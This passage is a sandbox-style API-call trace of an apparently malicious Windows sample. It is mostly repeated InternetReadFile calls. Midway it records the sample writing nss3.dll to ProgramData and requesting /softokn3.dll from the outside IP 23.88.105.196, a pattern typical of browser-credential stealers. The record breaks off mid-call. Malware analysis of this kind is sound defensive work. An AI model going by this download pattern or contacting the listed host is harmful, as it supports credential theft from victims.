[0095.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346a1f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346a1f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346a5e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346a5e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346a9c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346a9c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346adb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346adb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346b198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346b198*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346b580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346b580*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346b968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346b968*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346bd50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346bd50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c138*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c520*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c908*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.579] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0096.579] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0096.579] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0096.579] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0096.579] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111068 | out: hHeap=0x2110000) returned 1 [0096.579] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.579] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0096.579] CreateFileA (lpFileName="C:\\ProgramData\\\\nss3.dll" (normalized: "c:\\programdata\\nss3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0096.580] WriteFile (in: hFile=0x28, lpBuffer=0x363e020*, nNumberOfBytesToWrite=0x1303d0, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x363e020*, lpNumberOfBytesWritten=0x19f7cc*=0x1303d0, lpOverlapped=0x0) returned 1 [0096.606] CloseHandle (hObject=0x28) returned 1 [0096.637] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.637] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0096.638] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111068 [0096.638] GetLastError () returned 0x0 [0096.638] SetLastError (dwErrCode=0x0) [0096.638] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0096.638] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0096.638] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0096.638] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/softokn3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0096.638] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21111c0 [0096.638] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0096.638] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0096.638] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0096.638] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0096.638] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0096.638] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0096.667] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0096.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363e020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363e020*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.669] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363e408, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363e408*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.669] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363e7f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363e7f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.669] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363ebd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363ebd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.669] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363efc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363efc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.669] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363f3a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363f3a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.669] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363f790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363f790*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.670] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363fb78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363fb78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.670] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x363ff60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x363ff60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.670] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3640348*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.670] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3640730*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.670] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640b18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3640b18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.670] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3640f00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3640f00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36412e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36412e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36416d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36416d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3641ab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3641ab8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3641ea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3641ea0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3642288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3642288*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3642670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3642670*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3642a58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3642a58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3642e40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3642e40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3643228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3643228*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3643610, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3643610*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36439f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36439f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3643de0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3643de0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36441c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36441c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36445b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36445b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3644998, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3644998*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3644d80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3644d80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3645168, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3645168*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3645550, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3645550*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3645938, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3645938*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3645d20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3645d20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3646108, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3646108*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36464f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36464f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36468d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36468d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3646cc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3646cc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36470a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36470a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3647490, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3647490*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3647878, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3647878*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3647c60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3647c60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36493d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36493d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36497b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36497b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3649ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3649ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3649f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3649f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364a370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364a370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364a758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364a758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364ab40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364ab40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364af28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364af28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364b310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364b310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364b6f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364b6f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364bae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364bae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364bec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364bec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364c2b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364c2b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364c698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364c698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364ca80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364ca80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364ce68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364ce68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364d250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364d250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364d638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364d638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364da20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364da20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364de08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364de08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364e1f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364e1f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364e5d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364e5d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364e9c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364e9c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364eda8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364eda8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364f190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364f190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364f578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364f578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364f960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364f960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364fd48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364fd48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3650130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3650130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3650518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3650518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3650900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3650900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3650ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3650ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36510d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36510d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36514b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36514b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36518a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36518a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3651c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3651c88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3652070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3652070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3652458, dwNumberOfBytesToRead=0x3e8, 